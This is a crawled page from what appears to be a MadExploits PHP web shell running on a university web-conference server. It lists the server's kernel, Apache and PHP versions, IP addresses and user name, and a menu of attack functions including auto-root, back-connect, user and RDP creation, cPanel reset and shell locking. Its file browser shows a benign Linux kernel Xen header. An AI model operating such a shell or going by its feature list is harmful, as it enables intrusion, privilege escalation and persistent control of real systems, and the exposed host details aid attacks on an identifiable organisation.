Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.191.29.0
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.4.0-204 /
include /
xen /
[ HOME SHELL ]
Name
Size
Permission
Action
arm
[ DIR ]
drwxr-xr-x
interface
[ DIR ]
drwxr-xr-x
acpi.h
3.41
KB
-rw-r--r--
balloon.h
973
B
-rw-r--r--
events.h
5.17
KB
-rw-r--r--
features.h
502
B
-rw-r--r--
grant_table.h
10.58
KB
-rw-r--r--
hvc-console.h
518
B
-rw-r--r--
hvm.h
1.29
KB
-rw-r--r--
mem-reservation.h
1.49
KB
-rw-r--r--
page.h
1.34
KB
-rw-r--r--
platform_pci.h
2.04
KB
-rw-r--r--
swiotlb-xen.h
493
B
-rw-r--r--
xen-front-pgdir-shbuf.h
2.31
KB
-rw-r--r--
xen-ops.h
7
KB
-rw-r--r--
xen.h
1.29
KB
-rw-r--r--
xenbus.h
8.54
KB
-rw-r--r--
xenbus_dev.h
1.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : xen-front-pgdir-shbuf.h
/* SPDX-License-Identifier: GPL-2.0 OR MIT */ /* * Xen frontend/backend page directory based shared buffer * helper module. * * Copyright (C) 2018 EPAM Systems Inc. * * Author: Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com> */ #ifndef __XEN_FRONT_PGDIR_SHBUF_H_ #define __XEN_FRONT_PGDIR_SHBUF_H_ #include <linux/kernel.h> #include <xen/grant_table.h> struct xen_front_pgdir_shbuf_ops; struct xen_front_pgdir_shbuf { /* * Number of references granted for the backend use: * * - for frontend allocated/imported buffers this holds the number * of grant references for the page directory and the pages * of the buffer * * - for the buffer provided by the backend this only holds the number * of grant references for the page directory itself as grant * references for the buffer will be provided by the backend. */ int num_grefs; grant_ref_t *grefs; /* Page directory backing storage. */ u8 *directory; /* * Number of pages for the shared buffer itself (excluding the page * directory). */ int num_pages; /* * Backing storage of the shared buffer: these are the pages being * shared. */ struct page **pages; struct xenbus_device *xb_dev; /* These are the ops used internally depending on be_alloc mode. */ const struct xen_front_pgdir_shbuf_ops *ops; /* Xen map handles for the buffer allocated by the backend. */ grant_handle_t *backend_map_handles; }; struct xen_front_pgdir_shbuf_cfg { struct xenbus_device *xb_dev; /* Number of pages of the buffer backing storage. */ int num_pages; /* Pages of the buffer to be shared. */ struct page **pages; /* * This is allocated outside because there are use-cases when * the buffer structure is allocated as a part of a bigger one. */ struct xen_front_pgdir_shbuf *pgdir; /* * Mode of grant reference sharing: if set then backend will share * grant references to the buffer with the frontend. */ int be_alloc; }; int xen_front_pgdir_shbuf_alloc(struct xen_front_pgdir_shbuf_cfg *cfg); grant_ref_t xen_front_pgdir_shbuf_get_dir_start(struct xen_front_pgdir_shbuf *buf); int xen_front_pgdir_shbuf_map(struct xen_front_pgdir_shbuf *buf); int xen_front_pgdir_shbuf_unmap(struct xen_front_pgdir_shbuf *buf); void xen_front_pgdir_shbuf_free(struct xen_front_pgdir_shbuf *buf); #endif /* __XEN_FRONT_PGDIR_SHBUF_H_ */
Close